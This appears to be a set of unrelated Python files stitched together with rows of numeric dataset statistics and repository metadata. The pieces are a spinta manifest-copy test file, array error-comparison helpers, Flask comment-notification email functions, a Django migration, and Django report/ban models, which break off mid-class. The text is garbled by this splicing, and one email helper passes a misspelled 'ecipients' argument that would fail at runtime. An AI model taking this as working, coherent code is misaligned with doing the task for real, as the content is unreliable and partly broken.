from pathlib import Path from spinta.core.config import RawConfig from spinta.testing.cli import SpintaCliRunner from spinta.manifests.tabular.helpers import striptable from spinta.testing.tabular import create_tabular_manifest from spinta.testing.manifest import load_manifest def test_copy(rc, cli: SpintaCliRunner, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | data | sql | | | | | | | | | | | | Country | | code | salis | | | | | | code | string | | kodas | | public | | | | name | string | | pavadinimas | | open | | | | driving | string | | vairavimas | | open | enum | | l | 'left' | open | | | r | 'right' | open | | | | | | | | City | | name | miestas | | | | | | name | string | | pavadinimas | | open | | | | country | ref | Country | salis | | open | | | | | | | | Capital | | name | miestas | | | | | | name | string | | pavadinimas | | | | | | country | ref | Country | salis | | ''')) cli.invoke(rc, [ 'copy', '--no-source', '--access', 'open', '-o', tmpdir / 'result.csv', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | | | | | | | | Country | | | | | | | | | name | string | | | | open | | | | driving | string | | | | open | enum | | | 'left' | open | | | | 'right' | open | | | | | | | | City | | | | | | | | | name | string | | | | open | | | | country | ref | Country | | | open ''' def test_copy_enum_0(rc, cli: SpintaCliRunner, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | data | sql | | | | | | | | | | | | Country | | name | salis | | | | | | name | string | | pavadinimas | | open | | | | driving | integer | | vairavimas | | open | enum | | l | 0 | open | | | r | 1 | open ''')) cli.invoke(rc, [ 'copy', '--no-source', '--access', 'open', '-o', tmpdir / 'result.csv', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | | | | | | | | Country | | | | | | | | | name | string | | | | open | | | | driving | integer | | | | open | enum | | | 0 | open | | | | 1 | open ''' def test_copy_global_enum(rc, cli: SpintaCliRunner, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | enum | direction | l | 0 | | | | r | 1 | | data | sql | | | | | | | | | | | | Country | | name | salis | | | | | | name | string | | pavadinimas | | open | | | | driving | integer | direction | vairavimas | | open ''')) cli.invoke(rc, [ 'copy', '--no-source', '--access', 'open', '-o', tmpdir / 'result.csv', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | enum | direction | | 0 | | | | | 1 | | | | | | | | | Country | | | | | | | | | name | string | | | | open | | | | driving | integer | direction | | | open ''' def test_copy_with_filters_and_externals(rc, cli, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | data | sql | | | | | | | | | | | | country | | code | salis | code='lt' | | | | | code | string | | kodas | | private | | | | name | string | | pavadinimas | | open | | | | driving | string | | vairavimas | | open | | | | | enum | | l | 'left' | private | | | | | | | r | 'right' | open | | | | | | | | city | | name | miestas | | | | | | name | string | | pavadinimas | | open | | | | country | ref | country | salis | | open | | | | | | | | capital | | name | miestas | | | | | | name | string | | pavadinimas | | | | | | country | ref | country | salis | | ''')) cli.invoke(rc, [ 'copy', '--access', 'open', '-o', tmpdir / 'result.csv', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | source | prepare | level | access datasets/gov/example | | | | | | | data | sql | | | | | | | | | | | | | | country | | | salis | code='lt' | | | | | | name | string | | pavadinimas | | | open | | | | driving | string | | vairavimas | | | open | enum | | r | 'right' | | open | | | | | | | | | city | | name | miestas | | | | | | | name | string | | pavadinimas | | | open | | | | country | ref | country | salis | | | open ''' def test_copy_and_format_names(rc, cli, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | ref | source | prepare | level | access | title datasets/gov/example | | | | | | | Example dataset | data | sql | | | | | | | | | | | | | | | | COUNTRY | | countryCode | Šalis | countryCode='lt' | | | Countries | | | | countryCode | string | | Kodas | lower() | 3 | private | Country code | | | | name | string | | Pavadinimas | | 3 | open | | | | | population | integer | | Populiacija | | 4 | protected | | | | | id | integer | | | countryCode, name | 2 | public | | | | | | | | | | | CITY | | name | Miestas | | | | Cities | | | | name | string | | Pavadinimas | | 1 | | | | | | countryName | string | | Šalis | | 4 | | | | | | countryCode | string | | Kodas | | 4 | | | | | | country | ref | COUNTRY[countryCode, name] | | countryCode, countryName | 4 | | ''')) cli.invoke(rc, [ 'copy', '--format-names', '-o', tmpdir / 'result.csv', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | source | prepare | level | access | title datasets/gov/example | | | | | | | Example dataset | data | sql | | | | | | | | | | | | | | | | Country | | country_code | Šalis | country_code='lt' | | | Countries | | | | country_code | string | | Kodas | lower() | 3 | private | Country code | | | | name | string | | Pavadinimas | | 3 | open | | | | | population | integer | | Populiacija | | 4 | protected | | | | | id | integer | | | country_code, name | 2 | public | | | | | | | | | | | City | | name | Miestas | | | | Cities | | | | name | string | | Pavadinimas | | 1 | | | | | | country_name | string | | Šalis | | 4 | | | | | | country_code | string | | Kodas | | 4 | | | | | | country | ref | Country[country_code, name] | | country_code, country_name | 4 | | ''' def test_copy_and_format_names_for_ref(rc, cli, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | ref | prepare datasets/gov/example | | | | data | sql | | | | | | | | CONTINENT | | | name_id='eu' | | | | name_id | string | | | | | | | | COUNTRY | | | continent_id.name_id='eu' | | | | name_id | string | | | | | | continent_id | ref | CONTINENT | | | | | | | CITY | | | country_id.continent_id.name_id='eu' | | | | name_id | string | | | | | | country_id | ref | COUNTRY | ''')) cli.invoke(rc, [ 'copy', '--format-names', '-o', tmpdir / 'result.csv', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | prepare datasets/gov/example | | | | data | sql | | | | | | | | Continent | | | name_id='eu' | | | | name_id | string | | | | | | | | Country | | | continent.name_id='eu' | | | | name_id | string | | | | | | continent | ref | Continent | | | | | | | City | | | country.continent.name_id='eu' | | | | name_id | string | | | | | | country | ref | Country | ''' def test_copy_and_format_names_with_formulas(rc, cli, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | prepare datasets/gov/example | | | data | sql | | | | | | City | | NAME!=['a', 'b']\\|NAME='c' | | | | NAME | string | ''')) cli.invoke(rc, [ 'copy', '--format-names', '-o', tmpdir / 'result.csv', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | prepare datasets/gov/example | | | data | sql | | | | | | City | | name!=['a', 'b']\\|name='c' | | | | name | string | ''' def test_copy_to_stdout(rc, cli, tmpdir): manifest = striptable(''' d | r | b | m | property | type datasets/gov/example | | data | sql | | | | City | | | | | name | string ''') create_tabular_manifest(tmpdir / 'manifest.csv', manifest) result = cli.invoke(rc, [ 'copy', '-c', 'd,r,b,m,p,type', tmpdir / 'manifest.csv', ]) assert result.stdout.strip() == manifest def test_copy_order_by_access(rc, cli, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | data | sql | | | | | | | | | | | | Continent | | | | | | | | | name | string | | | | private | | | | population | string | | | | private | | | | | | | | Country | | | | | | | | | name | string | | | | protected | | | | continent | ref | Continent | | | protected | | | | population | string | | | | protected | | | | driving | string | | | | open | enum | | l | 'left' | private | | | r | 'right' | open | | | c | 'center' | public | | | | | | | | City | | | | | | | | | name | string | | | | open | | | | country | ref | Country | | | public | | | | population | string | | | | open ''')) result = cli.invoke(rc, [ 'copy', '-o', tmpdir / 'result.csv', '--order-by', 'access', tmpdir / 'manifest.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | source | prepare | access datasets/gov/example | | | | | | data | sql | | | | | | | | | | | | Country | | | | | | | | | driving | string | | | | open | enum | | r | 'right' | open | | | c | 'center' | public | | | l | 'left' | private | | | | name | string | | | | protected | | | | continent | ref | Continent | | | protected | | | | population | string | | | | protected | | | | | | | | City | | | | | | | | | name | string | | | | open | | | | population | string | | | | open | | | | country | ref | Country | | | public | | | | | | | | Continent | | | | | | | | | name | string | | | | private | | | | population | string | | | | private ''' def test_copy_rename_duplicates(rc, cli, tmpdir): create_tabular_manifest(tmpdir / 'manifest.csv', striptable(''' d | r | b | m | property | type datasets/gov/example | | data | sql | | | | City | | | | | name | string | | | | City | | | | | name | string | | | | City | | | | | name | string ''')) cli.invoke(rc, [ 'copy', '--rename-duplicates', tmpdir / 'manifest.csv', '-o', tmpdir / 'result.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type datasets/gov/example | | data | sql | | | | City | | | | | name | string | | | | City_1 | | | | | name | string | | | | City_2 | | | | | name | string ''' def test_enum_ref(rc: RawConfig, cli: SpintaCliRunner, tmpdir: Path): create_tabular_manifest(tmpdir / 'manifest.csv', ''' d | r | b | m | property | type | ref | source | prepare | access | title | enum | sex | | 1 | | Male | | | | 2 | | Female | | | | | | datasets/gov/example | | | | | | | data | sql | | | | | | | | | | | | | | Report1 | | id | REPORT1 | | | | | | | id | integer | | ID | | open | | | | | sex | integer | sex | SEX | | open | | | | | name | string | | NAME | | open | | | | | | | | | | Report2 | | id | REPORT2 | | | | | | | id | integer | | ID | | open | | | | | sex | integer | sex | SEX | | open | | | | | name | string | | NAME | | open | ''') cli.invoke(rc, [ 'copy', tmpdir / 'manifest.csv', '-o', tmpdir / 'result.csv', ]) manifest = load_manifest(rc, tmpdir / 'result.csv') assert manifest == ''' d | r | b | m | property | type | ref | source | prepare | access | title | enum | sex | | 1 | | Male | | | | 2 | | Female | | | | | | datasets/gov/example | | | | | | | data | sql | | | | | | | | | | | | | | Report1 | | id | REPORT1 | | | | | | | id | integer | | ID | | open | | | | | sex | integer | sex | SEX | | open | | | | | name | string | | NAME | | open | | | | | | | | | | Report2 | | id | REPORT2 | | | | | | | id | integer | | ID | | open | | | | | sex | integer | sex | SEX | | open | | | | | name | string | | NAME | | open | '''
56.195556
154
0.265818
1,340
25,288
4.939552
0.082836
0.05741
0.056504
0.013295
0.816589
0.806768
0.751624
0.717631
0.694516
0.686055
0
0.004121
0.625751
25,288
449
155
56.320713
0.695266
0
0
0.75
0
0.017327
0.861041
0.005299
0
0
0
0
0.027228
1
0.027228
false
0
0.014851
0
0.042079
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
1
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
234ef66d1dfc7c495a976ebd7bc8f799db8cf3e3
596
py
Python
Python/Artificial Intelligence/Evolutionary Algorithm/G.E-A images/G.E-A generic/evolution/fitness_functions/array_comparison.py
sindresf/The-Playground
438577487e02d0ff7986d72cb7a5ab995c2f96ab
[ "MIT" ]
null
null
null
Python/Artificial Intelligence/Evolutionary Algorithm/G.E-A images/G.E-A generic/evolution/fitness_functions/array_comparison.py
sindresf/The-Playground
438577487e02d0ff7986d72cb7a5ab995c2f96ab
[ "MIT" ]
null
null
null
Python/Artificial Intelligence/Evolutionary Algorithm/G.E-A images/G.E-A generic/evolution/fitness_functions/array_comparison.py
sindresf/The-Playground
438577487e02d0ff7986d72cb7a5ab995c2f96ab
[ "MIT" ]
null
null
null
#use numpy built-ins for this, gotta be some def total_compare_error(array1,array2): error = 0.0 for i,j in zip(array1,array2): error += abs(i - j) return error def avg_compare_error(array1,array2): tot_error = total_compare_error(array1,array2) return tot_error / len(array1) def total_squared_compare_error(array1,array2): error = 0.0 for i,j in zip(array1,array2): error += abs(i - j) ** 2 return error def avg_squared_compare_error(array1,array2): tot_error = total_squared_compare_error(array1,array2) return tot_error / len(array1)
29.8
58
0.70302
93
596
4.301075
0.290323
0.24
0.27
0.36
0.8125
0.7825
0.735
0.55
0.55
0.315
0
0.048117
0.197987
596
20
59
29.8
0.788703
0.072148
0
0.5
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0
0
0.5
0
0
0
0
null
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
235502f13c32031a2edde2c0e4e6ae1676787e4e
2,056
py
Python
app/student/email.py
GitauHarrison/somasoma_V1
2d74ad3b58f7e4ea5334e240d5bd30938f615e24
[ "MIT" ]
null
null
null
app/student/email.py
GitauHarrison/somasoma_V1
2d74ad3b58f7e4ea5334e240d5bd30938f615e24
[ "MIT" ]
null
null
null
app/student/email.py
GitauHarrison/somasoma_V1
2d74ad3b58f7e4ea5334e240d5bd30938f615e24
[ "MIT" ]
null
null
null
from flask import render_template, current_app from app.email import send_email def send_flask_chapter_1_comment_email(teacher): token = teacher.get_reset_password_token() send_email('[somasoma eLearning] Chapter 1 (Hello World) Comment', sender=current_app.config['ADMINS'][0], recipients=[teacher.teacher_email], text_body=render_template( 'teacher/email/chapter_1/new_comment_email.txt', teacher=teacher, token=token ), html_body=render_template( 'teacher/email/chapter_1/new_comment_email.html', teacher=teacher, token=token ) ) def send_flask_chapter_2_comment_email(teacher): token = teacher.get_reset_password_token() send_email('[somasoma eLearning] Chapter 2 (Flask Templates) Comment', sender=current_app.config['ADMINS'][0], recipients=[teacher.teacher_email], text_body=render_template( 'teacher/email/chapter_2/new_comment_email.txt', teacher=teacher, token=token ), html_body=render_template( 'teacher/email/chapter_2/new_comment_email.html', teacher=teacher, token=token ) ) def send_flask_chapter_3_comment_email(teacher): token = teacher.get_reset_password_token() send_email( '[somasoma eLearning] Chapter 3 (Introduction to Web Forms) Comment', sender=current_app.config['ADMINS'][0], ecipients=[teacher.teacher_email], text_body=render_template( 'teacher/email/chapter_3/new_comment_email.txt', teacher=teacher, token=token), html_body=render_template( 'teacher/email/chapter_3/new_comment_email.html', teacher=teacher, token=token) )
36.714286
77
0.582198
210
2,056
5.385714
0.190476
0.095491
0.095491
0.132626
0.870911
0.870911
0.870911
0.83908
0.814324
0.814324
0
0.010949
0.333658
2,056
55
78
37.381818
0.814599
0
0
0.530612
0
0
0.226167
0.132782
0
0
0
0
0
1
0.061224
false
0.061224
0.040816
0
0.102041
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
003ebbd4c168373efc3d74b2d109a04c6511d6d6
2,237
py
Python
home/website/migrations/0026_auto_20170329_1231.py
HackSoftware/hackconf.bg
ab3cc9fcdccf8991098553e0374103e3a241ce50
[ "MIT" ]
12
2017-03-29T11:55:20.000Z
2022-03-29T20:03:41.000Z
home/website/migrations/0026_auto_20170329_1231.py
HackSoftware/hackconf-wagtail
ab3cc9fcdccf8991098553e0374103e3a241ce50
[ "MIT" ]
8
2020-06-05T18:16:24.000Z
2021-09-07T23:53:11.000Z
home/website/migrations/0026_auto_20170329_1231.py
HackSoftware/hackconf.bg
ab3cc9fcdccf8991098553e0374103e3a241ce50
[ "MIT" ]
2
2018-03-31T15:06:55.000Z
2019-06-25T16:22:08.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.9.9 on 2017-03-29 12:31 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('website', '0025_auto_20170329_1228'), ] operations = [ migrations.AddField( model_name='homepage', name='general_partners_title_bg', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='general_partners_title_en', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='gold_partners_title_bg', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='gold_partners_title_en', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='other_partners_title_bg', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='other_partners_title_en', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='platinum_partners_title_bg', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='platinum_partners_title_en', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='silver_partners_title_bg', field=models.CharField(blank=True, max_length=50, null=True), ), migrations.AddField( model_name='homepage', name='silver_partners_title_en', field=models.CharField(blank=True, max_length=50, null=True), ), ]
33.893939
73
0.594099
237
2,237
5.362869
0.219409
0.141621
0.18096
0.212431
0.849725
0.849725
0.849725
0.849725
0.849725
0.808025
0
0.032828
0.291909
2,237
65
74
34.415385
0.769571
0.029951
0
0.689655
1
0
0.161514
0.121366
0
0
0
0
0
1
0
false
0
0.034483
0
0.086207
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
cc50b4ad77fbb70109109476329174f17d5ee833
45
py
Python
final_project/machinetranslation/__init__.py
nursultand21/xzceb-flask_eng_fr
50c2613d3659efb718a26cfa4a1a5679d34247c3
[ "Apache-2.0" ]
null
null
null
final_project/machinetranslation/__init__.py
nursultand21/xzceb-flask_eng_fr
50c2613d3659efb718a26cfa4a1a5679d34247c3
[ "Apache-2.0" ]
null
null
null
final_project/machinetranslation/__init__.py
nursultand21/xzceb-flask_eng_fr
50c2613d3659efb718a26cfa4a1a5679d34247c3
[ "Apache-2.0" ]
null
null
null
from . import translator #from . import tests
22.5
24
0.777778
6
45
5.833333
0.666667
0.571429
0
0
0
0
0
0
0
0
0
0
0.155556
45
2
25
22.5
0.921053
0.422222
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
cc692c069bb7ebef29b39f14d967e013ca031ddd
19,157
py
Python
hqq_report/models.py
yaoruda/DRFLearning
6b17ef0d557142e8563d80788351f8b7ab94f248
[ "MIT" ]
1
2018-09-21T09:42:02.000Z
2018-09-21T09:42:02.000Z
hqq_report/models.py
yaoruda/DRFLearning
6b17ef0d557142e8563d80788351f8b7ab94f248
[ "MIT" ]
null
null
null
hqq_report/models.py
yaoruda/DRFLearning
6b17ef0d557142e8563d80788351f8b7ab94f248
[ "MIT" ]
null
null
null
from django.db import models from hqq_forum.models import Forum from hqq_forum.models import Reply from hqq_forum.models import Discussion from hqq_group.models import Group from hqq_user.models import MyUser from hqq_dating.models import Dating ##################################### # 帖子相关 ##################################### class BanForumHistory(models.Model): """ 帖子封禁记录 """ id = models.CharField(max_length=32, verbose_name='封禁帖子记录表主键', primary_key=True) forum = models.ForeignKey(Forum, on_delete=models.CASCADE, verbose_name='帖子外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '待复核'), (1, '已复核'), (2, '已复原')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportForum(models.Model): """ 举报帖子 """ id = models.CharField(max_length=32, verbose_name='举报帖子主键', primary_key=True) forum = models.ForeignKey(Forum, on_delete=models.CASCADE, verbose_name='帖子外键') reason_id = models.IntegerField(verbose_name='举报原因code') report_amount = models.IntegerField(verbose_name='此类别的举报数量', default=0) state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportForumHistory(models.Model): """ 举报帖子记录 """ id = models.CharField(max_length=32, verbose_name='举报记录表主键', primary_key=True) report_forum = models.ForeignKey(ReportForum, on_delete=models.CASCADE, verbose_name='举报帖子外键') user = models.ForeignKey(MyUser, on_delete=models.CASCADE, verbose_name='用户外键') reason_id = models.IntegerField(verbose_name='举报原因code') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 一级回复相关 ##################################### class BanReplyHistory(models.Model): """ 一级回复封禁记录 """ id = models.CharField(max_length=32, verbose_name='封禁一级回复记录表主键', primary_key=True) reply = models.ForeignKey(Reply, on_delete=models.CASCADE, verbose_name='一级回复外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '待复核'), (1, '已复核'), (2, '已复原')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportReply(models.Model): """ 举报一级回复 """ id = models.CharField(max_length=32, verbose_name='举报一级回复主键', primary_key=True) reply = models.ForeignKey(Reply, on_delete=models.CASCADE, verbose_name='一级回复外键') reason_id = models.IntegerField(verbose_name='举报原因code') report_amount = models.IntegerField(verbose_name='此类别的举报数量', default=0) state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportReplyHistory(models.Model): """ 举报一级回复记录 """ id = models.CharField(max_length=32, verbose_name='举报记录表主键', primary_key=True) report_reply = models.ForeignKey(ReportReply, on_delete=models.CASCADE, verbose_name='举报一级回复外键') user = models.ForeignKey(MyUser, on_delete=models.CASCADE, verbose_name='用户外键') reason_id = models.IntegerField(verbose_name='举报原因code') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 二级回复相关 ##################################### class BanDiscussionHistory(models.Model): """ 二级回复封禁记录 """ id = models.CharField(max_length=32, verbose_name='封禁二级回复记录表主键', primary_key=True) discussion = models.ForeignKey(Discussion, on_delete=models.CASCADE, verbose_name='二级回复外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '待复核'), (1, '已复核'), (2, '已复原')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportDiscussion(models.Model): """ 举报二级回复 """ id = models.CharField(max_length=32, verbose_name='举报一级回复主键', primary_key=True) discussion = models.ForeignKey(Discussion, on_delete=models.CASCADE, verbose_name='二级回复外键') reason_id = models.IntegerField(verbose_name='举报原因code') report_amount = models.IntegerField(verbose_name='此类别的举报数量', default=0) state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportDiscussionHistory(models.Model): """ 举报二级回复记录 """ id = models.CharField(max_length=32, verbose_name='举报记录表主键', primary_key=True) report_discussion = models.ForeignKey(ReportDiscussion, on_delete=models.CASCADE, verbose_name='举报二级回复外键') user = models.ForeignKey(MyUser, on_delete=models.CASCADE, verbose_name='用户外键') reason_id = models.IntegerField(verbose_name='举报原因code') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 群聊相关 ##################################### class BanGroupHistory(models.Model): """ 群聊封禁记录 """ id = models.CharField(max_length=32, verbose_name='封禁群聊记录表主键', primary_key=True) group = models.ForeignKey(Group, on_delete=models.CASCADE, verbose_name='群聊外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '待复核'), (1, '已复核'), (2, '已复原')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportGroup(models.Model): """ 举报群聊 """ id = models.CharField(max_length=32, verbose_name='举报群聊主键', primary_key=True) group = models.ForeignKey(Group, on_delete=models.CASCADE, verbose_name='群聊外键') reason_id = models.IntegerField(verbose_name='举报原因code') report_amount = models.IntegerField(verbose_name='此类别的举报数量', default=0) state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportGroupHistory(models.Model): """ 举报群聊记录 """ id = models.CharField(max_length=32, verbose_name='举报群聊记录表主键', primary_key=True) report_group = models.ForeignKey(ReportGroup, on_delete=models.CASCADE, verbose_name='举报群聊外键') user = models.ForeignKey(MyUser, on_delete=models.CASCADE, verbose_name='用户外键') reason_id = models.IntegerField(verbose_name='举报原因code') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 相亲角相关 ##################################### class BanDatingHistory(models.Model): """ 相亲角封禁记录 """ id = models.CharField(max_length=32, verbose_name='封禁相亲角记录表主键', primary_key=True) dating = models.ForeignKey(Dating, on_delete=models.CASCADE, verbose_name='相亲角外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '待复核'), (1, '已复核'), (2, '已复原')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportDating(models.Model): """ 举报相亲角 """ id = models.CharField(max_length=32, verbose_name='举报相亲角主键', primary_key=True) dating = models.ForeignKey(Dating, on_delete=models.CASCADE, verbose_name='相亲角外键') reason_id = models.IntegerField(verbose_name='举报原因code') report_amount = models.IntegerField(verbose_name='此类别的举报数量', default=0) state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class ReportDatingHistory(models.Model): """ 举报相亲角记录 """ id = models.CharField(max_length=32, verbose_name='举报记录表主键', primary_key=True) report_dating = models.ForeignKey(ReportDating, on_delete=models.CASCADE, verbose_name='举报相亲角外键') user = models.ForeignKey(MyUser, on_delete=models.CASCADE, verbose_name='用户外键') reason_id = models.IntegerField(verbose_name='举报原因code') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '正常'), (1, '删除'), (2, '')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) ##################################### # 一级回复,用户评价 ##################################### class ChangeScoreByReplyHistory(models.Model): """ 生效评价记录(来自一级回复) """ id = models.CharField(max_length=32, verbose_name='评价记录表主键', primary_key=True) reply = models.ForeignKey(Reply, on_delete=models.CASCADE, verbose_name='一级回复外键') state = models.SmallIntegerField( verbose_name='状态', choices=((0, '待复核'), (1, '已复核'), (2, '已复原')), default=0 ) create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间') update_time = models.DateTimeField(auto_now=True, verbose_name='更新时间') delete_mark = models.SmallIntegerField( verbose_name='删除标记', choices=((0, '正常'), (1, '删除')), default=0 ) class EvaluateReply(models.Model): """ 评价一级回复 """ id = models.CharField(max_length=32, verbose_name='评价一级回复主键', primary_key=True) reply = models.ForeignKey(Reply, on_delete=models.CASCADE, verbose_name='一级回复外键') reason_id = models.IntegerField(verbose_name='评价原因code') 